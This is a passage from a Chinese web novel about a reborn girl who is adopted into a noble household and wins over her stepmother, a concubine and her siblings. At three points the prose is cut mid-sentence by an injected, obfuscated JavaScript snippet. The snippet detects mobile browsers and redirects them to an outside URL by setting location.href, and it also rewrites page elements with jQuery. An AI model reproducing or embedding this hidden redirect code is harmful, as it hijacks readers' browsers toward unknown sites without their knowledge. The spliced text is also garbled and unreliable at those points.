这小模样叫屋内的大人看了颇为心酸,心中俱是五味杂陈,尤其林怀诚,他这个爹可是太不称职了,这孩子怕是经常挨饿的。 这时候下人也端来了药,实在温度低,已经不怎么烫了。 众人本觉得小姑娘吃药应是挺费事费力的事情,却不想林诗芸小小的一个人儿,竟自己端起了药碗,连做心理建设的空都没有,一口气直接喝下了肚子。 林诗芸的面上还带着笑容,这下她可总算是吃饱了,连汤药都不觉得难喝。 一旁的林诗情则是一脸的佩服,接过王妈妈取来的山楂丸往妹妹嘴里塞了一颗,“妹妹药不苦吗?山楂丸酸酸的可好吃了,吃了这个就不会积食了,” 芸儿轻轻的摇头,摸摸自己撑的圆滚滚的小肚子对姐姐笑眯眯道:“有一点点苦,但是吃饱了芸儿便不怕啦。” 芸儿的声音变得轻快,甜甜的,终于带上了几分七岁孩子的纯真活泼。 林诗芸确实不怕苦,上辈子自生了病便长年累月的同中药为伍,有一阵子奶奶每天费尽心思的给她熬,那又苦又刺鼻的中药在她眼里有一种独特的亲切感,可能也是因为长时间的陪伴吧,她并不惧怕喝汤药。 一顿饭两个小家伙已经熟稔了,芸儿将酸甜的山楂丸咽下后姐姐又给她塞了一颗,她冲姐姐笑的甜美,心情十分好的抱住了姐姐的胳膊,“谢谢姐姐,姐姐真好。” 一句话叫林诗情不自觉的挺了挺小胸脯,她这下终于有了做姐姐的感觉,她拍着胸脯,小模样还有些骄傲,“嗯,以后姐姐照顾你,等哥哥下学回来我喊哥哥过来,过两日再带你去见大哥哥大姐姐她们,咱们府上孩子可多可热闹呢。” 林诗情的双生子哥哥林景明一早便去上学了,还得晚些回来。 芸儿虽然听不懂,却还是不住的点头。 哥哥姐姐多了好啊,哥哥姐姐都疼她就好了,反正她是惯会拿甜言蜜语哄人的,上辈子在医院里过了最后的十八岁生日,她可是哄的无论是医生护士还是同病房的病友,都给她送了礼物呢,这说明什么,说明她讨人喜欢啊。 虽然都是她装的,但是她能做到,这就足够了。 林诗芸决心先做嫡姐的挂件,讨姐姐喜欢,好处自是多多的,一个有心讨好,一个率真心善,两姐妹叽叽喳喳的很快便热略起来。 那边姚之颜看着两个孩子聊的挺好,转头却同丈夫商量道,“夫君,芸儿回来的突然,便先叫芸儿同叶姨娘的院子里可行,也方便叶姨娘照看芸儿,这几日我便叫人修缮下芳澜苑,芸儿之后便住在那,同情儿住在隔壁,姐妹俩也好有个照应。” 林怀诚点头,对于妻子的周到,他一向是满意的,又想到芸儿的身体,心中愈发不忍,道:“你做主就好,芸儿的身体有些亏虚,手脚怕也都生了冻疮,你吩咐叶姨娘好生照料着,待芸儿养的好些,再带她出去见人。” 芸儿总要见人的,大房和三房怕是已经接到了消息,三房后日定是会给那孩子办洗三宴的,芸儿现在模样出去见人并不合适,还是得养养才行。 夫妻俩又说了几句林怀诚便出门了,他怎么着也得去送那个女人最后一程的,毕竟也是他爱过的女人。 姚之颜面上恭顺的表情在丈夫的身影消失在门外之后瞬时变得淡漠。 曾经心爱的女人死了,他也不见伤心,亲生的孩儿说过继便过继了,亲女受了那么长时间的虐待说他从未察觉? 她自然是不信的。 男人啊。 她不知道自己此时内心是什么心情,从前的她是恨那个女人的,可是在知道她死了的时候,她竟然也会心生悲凉。 耳畔是女儿同那个女人女儿的童言童语,姚之颜最终还是叹息一声。 罢了,大人的事情跟孩子有什么关系,这孩子已经够可怜的了,既已入了府,她势必是不能不管不问的,如今这样也好,当个小猫小狗的养着,她的情儿也算是有个伴。 至于抱给三房的那个孩子... 姚之颜不自觉的摸了摸自己平坦的肚子。 她自八年前生了双生子之后便伤了身子,喝了无数的汤药肚子也没个动静。 好在丈夫并不在意此事,只安慰她女儿双全已是极好。 至于后院,也就一个叶姨娘并一个年纪颇大的通房,虽说外头那女人又怀孕产子,却直接抱给三房了。 今日丈夫又对她再三保证不会再犯糊涂了,对于男人的山盟海誓她倒是不愿意去信的,只是她确实希望的肚子也能再次鼓起来,也好让她的腰板再挺直几分,她的儿子和女儿也好多一份助力。 终是叹了口气,她朝大丫鬟春雨摆了摆手,“去叫叶姨娘过来。” 还是先将这孩子安排妥当了。 目光不自觉的又来到了林诗芸的额头,这一看便是被重物砸的,可怜见的,就是平民家的孩子也不见得有被虐待成这般的,多了一张嘴而已,也便是差几个丫鬟是好生照顾着,她费些口舌罢了,就当她为自己的孩儿积福了。 “王妈妈,去岁给情儿做的不少衣衫情儿都未穿过,你去找来,回头送去叶姨娘院里。这可怜孩子,绣娘一时也做不出合适的衣衫来,叫她们改改,芸儿先穿着。” 王妈妈得了令,转头便带着人出去了。 林诗情听到母亲吩咐王妈去自己去自己院里寻旧衣,非说自己也去,叫妹妹等着,她去岁有好多好看的衣裳没穿着呢。 说完这孩子便又跟一阵风似的跑了。 姚之颜抿了抿唇角,颇有些无奈,这孩子,规矩都被狗吃了。 最终还是未出言训斥,揉了揉脑门,转身又同芸儿说起了话。 她声音柔和,面上带着淡淡的笑,仿若是真的慈母一般,叫林诗芸心中不自觉的便温暖了起来。 “芸儿先穿姐姐的衣裳可行?都是新的,姐姐也没怎么穿过,母亲已经叫绣娘赶制衣裳了,只怕还是来不及,” 林诗芸乖巧的点头,高门大户的旧衣,只怕也是新的不能再新的了,她哪里会嫌弃。穿姐姐的衣裳怎么了,穿姐姐的衣裳好,说明姐妹亲近。 这么想着,林诗芸的脸上便自发的带上了羞涩的笑容,有些感动,还有些欣喜。 “嗯,谢谢母亲,芸儿喜欢姐姐,母亲给芸儿穿姐姐的衣裳,芸儿很开心,” 说实话,论装模作样,林诗芸真是没带怕的,毕竟上辈子就是靠的这一手的演技将父母两边的家庭搅和的不得安生。 姚之颜此时确实颇为欣慰,这孩子眼神澄澈,十分乖巧懂事,说起话来也软软糯糯的。 她轻轻抚摸了芸儿干枯的头发,道,“以后你便是咱们定安侯府的四姑娘,生养你的是府上的叶姨娘,你可懂?” 林诗芸眼睛睁的大大的,嘴巴微微张开,应是不怎么懂的。 到底是才七岁的孩子,听不懂是正常的。 姚之颜继续道,“等你长大些便懂了,你现在只需要知道你的姨娘是叶姨娘,母亲是我便可了,这个可懂?” 林诗芸这个是懂的,她乖乖的点头,学着姚氏的模样道,“芸儿知道的,您是芸儿的母亲,叶姨娘是芸儿的姨娘。” 姚之颜终于笑了,刚想 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15041263|162539||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 夸赞芸儿两句便听到外头的丫鬟通传,叶姨娘到了。 姚之颜点头示意见人进来。 于是林诗芸便见一个二十多岁的女子恭敬的走进屋内。 女子面容清秀,身上是碧色袄子,身材高挑,虽衣衫半旧,却十分合体大方,发上只一支简单的银簪装饰,收拾的很干净清爽。 只见她恭顺的朝姚氏行礼,动作严谨,不敢有丝毫的逾越。 姚之颜微一摆手便叫她起来了,看着她衣着朴素大方,点了点头,直接朝芸儿招了招手,道:“芸儿,这便是你姨娘,”又转头对叶姨娘道,“以后四姑娘便由你亲自教养了,你入府六年有余也未有过一儿半女,以后四姑娘便是你的依靠,你且好生照顾着。” 叶姨娘有片刻的征楞,反应过来后迅速的跪了下去,这是夫人抬举她呢!好事啊,天大的好事! 她虽不知四姑娘的身份,但是那个不急,总会知道的,此时的她干脆利索的朝姚氏磕头,“妾谢过夫人,妾定好生照顾四姑娘,谢过夫人!” 这一句话说完,叶姨娘竟然红了眼眶。 她本是良家女,家中虽说不上锦衣玉食却也是温饱不愁的,没想一朝生了变故,惹上了不该惹的人,为了一家人的性命,家中便托关系求了夫人身边的管事来送她来府上做了妾,借着侯府的关系,一家人终于苟活了下来。 只是,夫人之所以看中她,本是因为看她屁股大,好生养... 结果一连数年,她的肚子一直不见动静,她也日渐消瘦,颜色也不若从前那般好了,二爷从前一月里还来上那么两三趟,现在是几月也不见着能来一回了。 二爷的后院只她一个妾室,她实在,实在愧对夫人啊... 姚氏知道她在感激什么,一个不能生的妾,在别的人家,怕是早就发卖了。 她倒是没那么多的想法,一张嘴而已,又不是养不起,女子本就艰难,这种被卖了的妾,能有什么好去处,且她也不是那么心大的。 她不想再给丈夫抬妾了妾,其实林怀诚亦从未提过纳妾之事,她便也不主动提。本来抬叶姨娘进来便是她听了母亲的注意,她心里也不是多么愿意的,她最厌恶的便是后院牵扯不清的女人。不过她明面上该做的也得做,她见叶姨娘老实好拿捏,便也直接抬了妾室。这一下,也就没有人说她善妒了。 至于婆母那边,她从未在意过,她有儿有女的,又不像三房生不出什么来,有她娘家国公府在,婆母明面上是不敢说什么。况且丈夫外头有女人,婆母心知肚明,从未在她面前表现过什么不满。 姚之颜亲手将人扶了起来,林诗芸知道以后这位便是教养自己的姨娘,便小心的帮着扶住了叶姨娘另一边的胳膊,叶姨娘的眼神不自觉的便落在了林诗芸的身上。 这是她的女儿,以后,这便是她的女儿了!真好,真好。 姚之颜笑着安慰,“好了,大喜的日子,哭什么,” 说着便将头上的金簪取下插到了叶姨娘的头上,看着叶姨娘已经去攥紧了芸儿的手,笑意更深道:“这些年委屈你了,二爷知道你的心思,便将芸儿接了回来,芸儿乃二爷亲生,你定要用心照料,” 叶姨娘不住的点头,二爷的亲子,如此她的下半生便真的有依靠了,于是叶姨娘的眼神再落到林诗芸身上的时候便多了几分慈母之心。 “好了,四姑娘便先安顿在你院里,一会王妈妈便将情儿去岁的衣裳送去,不合身的你都叫丫鬟给改改,四姑娘身子弱,你好生照顾着。” 于是,当叶姨娘牵着林诗芸的手回自己院子的时候,一整个人还处在飘飘然的状态,满脑子都是,她有孩子了! 她终于有孩子了! 林诗芸抬头看着眼前心思简单的姨娘,脸上的笑容也变得灿烂起来,姨娘一看就是个心地善良的,她的好日子终于开始了吗。 5. 第 5 章 叶姨娘的院子非常安静。 只两个丫鬟,一个看门的婆子,收拾的井井有条。 只是离主院远了一些,有些废脚。 出了主母院子的叶姨娘有些飘飘然。 她身边跟着的丫鬟虽说看到自家姨娘带着个孩子出来还那么高兴,心中好奇,却也没敢问些什么。 她刚刚是听到主院的丫鬟们小声的讨论了二爷接回了四姑娘,可是府上哪什么四姑娘啊,接回的?难道说是眼前的这位姑娘? 可是小姑娘的穿着打扮不像贵族小姐,倒像是乡下农户之女啊。 丫鬟一直在打量林诗芸,很快便发现了林诗芸走路的模样有些奇怪,她迟疑了片刻,还是出声提醒了叶姨娘。 林诗芸终于松了口气,好嘛终于有人发现她脚痛了,刚刚一直在厢房,热气一熏脚丫子又痒又疼又涨的,走起路来十分不舒服。 叶姨娘有些惭愧,想到姑娘手上的冻疮便很快明白过来,直接蹲下了身子将林诗芸背了起来,丫鬟翠柳张了张嘴终是未出声阻止,林诗芸也有些意外,但是她接受良好,毕竟这只是开始,她想看看叶姨娘能待她能到各何种地步。 林诗芸乖乖的趴在姨娘的背上,感受着对方身上传来的温度,内心很快便温热了起来。 那边叶姨娘对翠柳小声絮叨:“以后四姑娘便是我亲生,你们姨娘我啊,也算是熬出来了。” 说着说着,主仆俩竟然都落了泪... 不容易啊,太不容易了…… 不多时叶姨娘的小院里,便见芸儿坐在炭盆旁边,乖巧的吃着点心看姨娘忙碌。 叶姨娘见芸儿身上并不干净,便唤来婆子赶紧烧水,心里又想着衣裳为何还未送来,叶姨娘像是只没头的苍蝇,一会说床榻还得收拾,一会说水怎么还没烧好,一会又坐到林诗芸的旁边,细细的打量起来。 确实是二爷亲子,鼻梁高挺同二爷简直一模一样。 还有那耳朵,都是极像的。 只是额头上的伤...怕是会留了疤啊,这可怎生是好。 她不动声色的叹了口气,姑娘的生母应是极美的,这一双桃花眼水波潋滟的,细看之下眼尾还有颗小痣,仿佛会说话一般的灵动。 只是姑娘现在太瘦弱了,待姑娘养养,再胖一些,定有天人之姿。 叶姨娘的眼神闪了闪,不自觉的她已经将自己当成了芸儿的娘亲了。 现在姑娘还小,还不是藏容貌的时候,待姑娘再大一些,她再注意一下不迟,现在还是要将姑娘安顿好再说其他。 室内很暖,她又着人放了个炭盆。 姑娘身上的袄子已经脱掉了。 她蹲下身子,帮芸儿脱了鞋。 看到孩子脚上的冻疮,叶姨娘鼻尖一酸,眼泪怎么都止不住了。 这孩子孩子手脚都冻成这样,是吃了多少苦啊。 林诗芸眨巴眨巴眼睛,那个,这个姨娘好生奇怪,这便开始心疼她了? 她还没做什么呢。 果然,可怜和弱小是打动人心的最佳武器。 林诗芸伸出手来,将姨娘脸上的眼泪给擦了个干净,芸儿歪着头,眼巴巴的看着姨娘,眼睛很快也蓄满了泪水,抽着鼻子小声道:“姨娘莫哭,姨娘哭,芸儿也想哭了。” 叶姨娘一听便急了,忙道:“不哭不哭,咱们都不哭,今儿个是好日子,芸儿也不哭啊,” 芸儿破涕为笑,叶姨娘看了也被感染,也笑了起来,真好,她有女儿了。 自己生哪有主母给来的快? 她好好养着,只要她对姑娘好,姑娘定也拿她当亲娘看待,待姑娘长大了说门好亲,她亦算是有功之人,府上定是不会苛待与她的。 况且,况且只要姑娘在她这,二爷也会经常过来看姑娘的,她说不定还有怀孕生子的一天。 她心绪乱飞,却听外头一阵说话声传来,原是王妈妈带着一众奴仆过来了。 王妈妈一进来便看到这副母慈子孝的场景,心说夫人安排的极为妥当,这下便皆大欢喜了。 叶姨娘起身行礼,王妈妈赶忙躲开,笑着道:“使不得,使不得,奴婢是来给四姑娘送衣裳的,” 说完便见身后两个婆子抬了一个大箱子过来了,打开后是满满的一箱子衣裳。 “这都是去岁二姑娘的衣裳,多数都是未穿过的新衣,劳烦姨娘差人改改,” 说完身后又有丫鬟端来一堆的补品,王妈妈继续道:“四姑娘体弱,夫人吩咐平日里姨娘院里的小厨房可用起来,给姑娘做些补品来吃,炭火也换成一等的无烟碳,稍后会有下人给送来,姨娘且放心的用。” 叶姨娘忙不迭谢夫人,王妈妈又一抬手,两名十岁左右的丫鬟从她身后出来,“这是听春和听雨,是夫人给四姑娘选的丫鬟,待四姑娘搬到芳澜苑,其余的丫鬟一应都会配齐,姑娘先用着,” 林诗芸小小一个,坐在凳子上还光着脚,她好奇的打量着两个年纪不大的小丫鬟,乐呵呵笑着从凳子上蹦了下来,一头扎进了王妈妈的怀里,“谢谢母亲,谢谢王妈妈,芸儿很喜欢两个小姐姐。” 王妈妈被林诗芸扑了一个踉跄,但是心里却是非常高兴的。 她是夫人的奶嬷嬷,小时候的夫人也是这样,瘦瘦小小的一团最爱扑到她怀里来。 话又说回来,谁不喜欢被人谢呢,虽然四姑娘年纪不大,但也是主子啊,被小主子谢了,她自是十分开怀。 王妈妈嘴上说着使不得,脸上笑的却事笑的满脸褶子,揉了揉芸儿有些散乱的头发,心中为这孩子能留在侯府感到高兴。 上一辈子的恩怨已经过去了,那女人早就惹恼了二爷,被厌弃是迟早的事情,只是可怜这孩子受的那些磋磨,如今被接回府亦是好事情,那样的娘亲不要也罢。 王妈妈眼中的慈爱又多了几分,她低下头看到芸儿光着的脚丫,又亲自给芸儿穿上了新鞋,将芸儿给牵到了凳子上坐好这才又重新跟叶姨娘说起了话。 林诗芸只好奇的看着两个大人说话,小手却握着王妈妈的手也不撒开,小孩子嘛,谁对她好便跟谁亲近。 王妈妈一开始对她便是友善的,她能感觉得到,王妈妈应是嫡母身边很得脸的人物,她搞好关系自然有好处。 王妈妈指着一个丫鬟托盘上的药膏继续道:“这是二爷差人去安和堂买来的冻疮膏,这是去痕膏,还有姑娘要吃的汤药,都在这里,姨娘好生照顾姑娘,待姑娘好一些了,还要去老祖宗院里认亲呢。” 叶姨娘脸色变了变,心里激动的很,她瞬间便明白,这是说四姑娘已经在老祖宗那里挂上了名,马上认祖归宗了。 叶姨娘不住的点头,最后更是千恩万谢的将王妈妈给送了出去。 林诗芸还是挺不舍的,牵着王妈妈的手也不想松开,在得了明日王妈妈来看她之后才依依不舍的将人给送了出去。 叶姨娘看林诗芸的眼神更加火热了。 林诗芸好好的洗了个澡,叶姨娘看到芸儿身上瘦骨嶙峋的模样,竟是又掉下泪来。 不过林诗芸没看见,她因为泡澡太舒服了,一直在打瞌睡。 终于结束,头发擦干之后她便上了床,姨娘 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15041264|162539||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 将床上的褥子又多加了两层,她躺在柔软的床榻上抱着锦被很快便睡了过去。 窗外很快下起了大雪,床上的小孩儿睡的很熟,小脸红扑扑的,应是做了极好的梦,嘴上还噙着温暖的笑容。 林诗芸这一觉,可谓是睡了个天昏地暗。 别说午膳,连晚膳也是没能醒来用的,睡的死死的,是真的怎么都叫不醒,给叶姨娘吓的赶紧去请了姚氏叫了府医过来。 府医诊脉后并不多言,只道:“小姐是睡着了,叫她睡便是,明日应该能醒,其余并无大碍,只是,” 府医看了看林诗芸额头上的疤和手上的冻疮,缓缓道,“只是身体瘦弱,还得好生照料才好。” 同聪明的人无需多言,姚氏已然明白了府医的意思,便放下心来叫林诗芸安心睡去。 林诗情在一旁捧着脑袋看妹妹睡熟的面庞,没忍住用手摸了摸妹妹额头上那道细长的疤,已经结咖了,大夫说伤口不是很深,疤痕不会很明显。 意思就是,会留疤。 姚氏倒是在考虑呢,一个庶女而已,值不值得她去向母亲求个宫中秘制的去痕膏,女孩子的脸上确实是不能留疤的,不明显也不行。 罢了,再看看这孩子的心性吧,若是真的良善,她也不是不能去求。 一旁的王妈妈帮着林诗芸又涂了一遍手脚,几人这才走了。 只是虽说大夫说没事,但是叶姨娘却是不大放心的,她一直守在林诗芸的床边,没有丝毫的睡意。 半夜林诗芸终于被尿给憋醒了,迷迷糊糊的睁开眼,见姨娘在,便放心的由着姨娘带她去小解,之后闭着眼睛喝了碗什么汤药,钻进被窝后便再一次沉沉睡去,这一睡便睡到了第二日早晨。 叶姨娘摸了摸自己发紧的心脏,这才放下了心,又叮嘱了守夜的丫鬟几句这才回了自己屋子。 夜里林怀诚回来的也晚,听妻子说了芸儿午膳未用便睡了,且睡到现在,便想去看看,又在听妻子说府医来看过之后便歇了去的心思,这天寒地冻的还下着雪,他这一身的寒气,还是罢了。 姚氏贴心的备好了热汤面和小菜,牵着丈夫的手将人带回了卧房。 见他身上的灰尘并未多问什么,只是给他拿了干净的里衣服侍他去净室盥洗,林怀诚任由妻子牵着走,心中颇多感触。 秦明月就未曾这样待过他,从未有过。 那个女人永远一副清高的模样。 只有他的发妻,无论他归来多晚,都会准备好宵夜等着他。 他从前却被那个女人迷了心智,几次三番的对不住妻子,还好,他幡然醒悟了。 他不会承认,是他厌恶了那个女人,他看够了她高高在上的模样,尤其是在她再次怀孕之后,她愈发的难缠,要求也越来越多,竟然敢逼做事?简直可笑至极! 弃妇而已!做他的外室已经抬举她了! 当然了,她已经死了,化成了一捧骨灰,随风而去了。 以后的日子,他只会和妻子相伴。 好半晌姚氏帮他清洗干净,他仔仔细细的盯着姚氏的面容,成亲多年,妻子还是那样温婉可人,一如既往的温柔贤惠不辞辛劳。 愧疚将他淹没,他低下头将妻子紧紧抱在怀里。 这一夜,夫妻二人互诉衷肠,姚氏像是守得云开见了月明,二人的感情也更好了几分。 只是黑夜里,姚氏看了眼丈夫,无所谓似的扯了扯嘴角便翻过了身,真当她不计前嫌呢? 不过,夫妻嘛,表面和睦相敬如宾便罢了,至于真心,那东西要来又有什么用呢。 6. 第 6 章 翌日亦是是暖阳。 正如林诗芸的人生,一日比一日灿烂温暖。 阳和启蛰,再获新生。 林诗芸是被林诗情给吵醒的。 当然了,肚子也饿。 她睁开眼睛便看到了捧着脸坐在床前的姐姐,林诗情的小胖脸红扑扑的,今日是一身珊瑚色袄子,头上的两个小发髻上绑着同色的发带,活像是年画上的胖娃娃。 林诗芸揉了揉睡眼,迷迷糊糊的叫了声姐姐。 林诗情也不嘲笑她是懒虫,见她醒了只开心的将她的手给握住说要帮妹妹穿衣裳。 她可是想了很久呢,妹妹这么懂事,虽然丑了点,但是一双眼睛还是好看的,养养应该还能养回来,现在她也是姐姐了,自然是要做个贴心温暖疼爱妹妹的姐姐。 还有哥哥,昨日哥哥下了学,她可是拉着哥哥来见过妹妹了,虽然妹妹睡着了,但是她跟哥哥说了好多妹妹的事情,哥哥也拍着胸脯说会保护妹妹的,嘿嘿,这可都是她的功劳。 林诗芸这个人一向懒惰,她乐呵呵的由着姐姐帮她穿衣裳,绣娘昨日将衣裳都给改过,虽说是林诗情的旧衣,但都是没怎么穿过的,林诗芸很喜欢,改过的衣裳她穿的也很合身。 叶姨娘守在二人身前,脸上是从未有过的舒心笑容。 她是极乐意见到四姑娘跟二姑娘感情好的,两位姑娘亲近说明夫人待见芸儿,四姑娘也有二姑娘撑腰,只要二姑娘疼咱们四姑娘,就不怕府上的下人拜高踩低,她们娘俩的日子就能一日比一日好。 姐俩在叶姨娘和一众奴仆的簇拥下去了主院。 大雪在夜里已经停了,今日的太阳明艳的很,下人已经将地面清扫了个干净,除了屋顶和树枝上厚厚的雪,路面上的雪已经消失的无影无踪了。 姚氏看到穿着大女儿衣裳的林诗芸,粉色的袄子衬的林诗芸的气色都好了起来,嘴上夸赞了句不错。 只是心里觉得这孩子确实太瘦了,还得吃胖些穿衣裳才好看。 这时候的林诗芸,除了一双又黑又亮的桃花眼,其余的地方真的不算好看。 头发干枯稀疏,丫鬟给扎了半晌才扎上了两个小揪揪。 皮肤苍白,面上更是一点肉也没有,额头上还有个细长的疤,能好看就见了鬼了。 不过没关系,叶姨娘坚决的认为芸儿随了她父亲,待再养养,定是也有一副好相貌的。 姚氏也是认为芸儿不可能丑了,她那个生母,一张艳丽的面容可是不少官宦子弟心中的白月光呢。 早膳时林诗芸终于见着了林诗情的双生哥哥林景明,春和景明,极好听的名字。 林诗芸跟在姐姐身旁,甜甜的叫了声二哥哥。 按侯府男丁来排,林景明行二,前头还有世子大哥,林景行。 定安侯林怀安育有三子,嫡长子林景行,嫡次子林景晟,庶子林景年。 如今侯府三房也有了嫡子,这才两日,尚未起名。 女子来说,林诗芸排第四,大姑娘三姑娘皆是大房所处,大姑娘林诗瑶为嫡出,三姑娘林诗意庶出。 二房目前也是两个姑娘,三房无所出,只过继来的一个男丁。 言归正传。 毕竟是龙凤双生,林景明和林诗情的相貌目前还是像的,只是哥哥要瘦一些,高一些,林诗芸眨巴眨巴眼睛,模样单纯天真,她看看哥哥又看看姐姐,一脸的好奇。 “哥哥和姐姐长得好像哦。” 林景明虽只有八岁,偏生性子却跟双生妹妹大相径庭,是个名副其实的小古板。 他朝新来的小妹温和一笑,回了声四妹妹,便将手上的匣子递了过去。 小小的匣子,只给了林诗芸。 就一个啊...姐姐没有吗... 小姑娘有些不知所措,忐忑的接过匣子,有些紧张的望着姐姐。 却见林诗情也跟变戏法似的,不知从哪也掏出来个盒子来,小小的一个,精致的很。 林诗情努力学着哥哥的样子,挺直了脊背,像个小大人般道:“这是姐姐和哥哥的见面礼,妹妹看看喜不喜欢。” 林诗芸一颗心感动的不像话,她两辈子还是第一次收到家人的礼物呢。 只见小姑娘扁了扁嘴,眼圈瞬时红了起来。 别误会,是感动的想哭。 双生子此时是有些紧张的,尤其是林诗情,她很喜欢妹妹,不知道妹妹会不会喜欢自己的礼物。 然后便见妹妹哭了... 她怎么哭了?是不喜欢吗? 看哥哥姐姐紧张的看着自己,林诗芸眼睛里还噙着的泪水终于掉了下来,她脸红红的,眼睛里盛满了感动,“芸儿喜欢的,哥哥姐姐送什么芸儿都喜欢,芸儿还是第一次收到礼物呢。” 她擦掉眼泪,换上了个大笑脸,只是眼里的泪水还在不断的落下,小手有些颤抖,“我,我这就打开。” 几息后,小姑娘终于颤颤巍巍的打开了匣子。 林诗情送了妹妹自己最喜欢的小兔子玉佩。 林景明送的是个九连环,一整块玉制成的,是外祖母在他小时送他的,也是他最喜欢的玩具,到底是做哥哥的,很有兄长的模样,林景明轻声对妹妹解释要是不会自己可以教她。 林诗芸表示自己喜欢极了,小鸡啄米似的像哥哥姐姐保证会非常珍视会好好对待它们的。 之后林景明便很满意的去净手准备陪母亲用膳了。 林诗芸则是抱着两个匣子一头扑进了姐姐怀里,哼哼唧唧道谢谢姐姐,姐姐真好,芸儿是属小兔子的,芸儿好喜欢姐姐送的小兔子,芸儿最喜欢姐姐了。 于是乎,林诗情因为送出了自己最喜欢的玉佩的那么一点点的不舍在一瞬间消失殆尽,剩下的全是妹妹最喜欢她了这句话了,哼,这下看谁说她没有妹妹,她的妹妹又可爱又乖巧,最最重要的,妹妹说最喜欢自己啦。 一屋子的丫鬟看着姐妹俩的互动捂着嘴偷笑,新来的二小姐不赖嘛,都给咱们大小姐哄成翘嘴了。 二房被姚氏管的很好,没有一个丫鬟想着挑拨姐妹俩关系。 二房就这几位主子,钱多事少,主子温和宽容,不会动不动棍棒伺候责罚于人,奴仆们自是上行下效,日子过的舒坦的很,没那么多的腌臜事情。 其实一开始的时候是有的。 那时林怀诚同姚氏刚成亲不久,他作为侯府嫡次子,一开始官职并不高,但他相貌英俊,仪表堂堂,前途一片光明,想要爬床的女婢自是不会少了。 谁想一辈子做个奴婢呢。 可无论那些女婢用什么手段,这林怀诚都是不屑一顾的,彼时的他正因为将白月光给接回来对娇妻满腔的愧疚,哪里会看上府上的花花草草的。 姚之颜本是国公府的庶女,得嫡母看中记在名下成了嫡出小姐,她亲母又是个商女,嫁妆丰厚,两家是家族联姻,但她早就见过丈夫,也是期待二人成婚的。 国公府同定安侯府,也算是门当户对。 只是若较真起来,国公府是略胜一筹的。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15041265|162539||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 当初两家的婚事都极为看中,但是可惜啊,婚后姚氏才知丈夫心里有人,且是那个女人。 她便也收敛了自己的满腔心思,只一心打理后院,照顾自己的两个孩儿。 林怀诚一早便上朝去了,他目前是五品户部郎中,京官的五品也是需要上早朝的。 饭桌上只有姚氏同三个孩子。 林诗芸学着姐姐的样子跟母亲见礼后这才上桌,只是脸上还肉眼可见的带着忐忑不安,常年累月的习惯,叫她刚刚站在桌前有些踌躇,不敢上前。 叶姨娘站在姚氏身后伺候着主母,一双眼睛却是一直注意着林诗芸的。 姚氏叹了口气,摆摆手叫叶姨娘下去了,叶姨娘的眼神太过直白,别再给孩子整紧张了,日后侯府众人总要一张桌子上用膳的。 姚氏便说话开导,王妈妈帮着布菜,再有林诗情的插科打诨,林诗芸很快便放松了下来,见她小心翼翼的终于敢开始夹菜一家人的心终于才放了下来。 姚氏和王妈妈对视了一眼,颇为满意的点头,第一步已经走出来了,以后的每一步相信这孩子都会走的很好。 她亦不是苛待庶女的人,因为她本也是庶女。 接都接回来了,便好好养着。 林诗芸这天晚上是同姐姐一起睡的。 看着女儿喜欢芸儿,姚氏并未阻止,叶姨娘没有话语权。 这孩子本来就应该陪着她的女儿长大做她女儿的玩伴,一切只要她的女儿高兴便好。 姐俩晚上躺在一张床上,叽叽喳喳的闹了半宿后姐姐才终于坚持不住,沉沉的睡了过去。 兴许是上一觉睡的太多,也兴许是现下的温暖叫她感到不是很真切,林诗芸有些兴奋,还有些可惜。 她想,若是原主能再坚持几日,是不是就能过上好日子了? 是不是渣爹早归家些时日,此时抱着奶呼呼的姐姐睡觉的就是她了... 一时间,林诗芸的心头五味杂陈。 她上辈子也就活了十八岁,自小父母离异又身患重病,她和奶奶可以说是看尽了人间冷暖,对于这份温情,她总觉得如同水中捞月,怕是空欢喜的一场。 罢了,先观察一段时日,尤其是姚氏,她有些拿不准是真情还是假意,但她是个惯会讨好人的,她相信自己会在定安侯府过的很好。 她确实会哄人,不然也不会在住院的那些时日哄的医生护士和同病房的家属对她的特殊照顾了。 不过...终是她占了人家的身体,以后还得寻个机会,为原主立个衣冠冢什么的才好。 她也不是自怨自艾悲伤春秋的那种人,既然老天爷叫她重活一世,那咱就好好的活着,原主的仇算是报了吧? 那个女人应该是死了的。 死都便宜她了,叫她的性子,还得好生磋磨那女人些时日才好,最好叫她生不如死再凄惨的死去。 就目前两日来看,嫡母是个好的,对她嘘寒问暖的模样不似作假,至于有几分真心她不知道。 至于渣爹,不知道,男人心太冷硬,她看不透。 但是她有哥哥姐姐了啊,尤其是她姐姐。 她上辈子孤独的太久,能有个香香软软的姐姐陪伴,是她上辈子求之不得的。 侯府不错,挺好的。 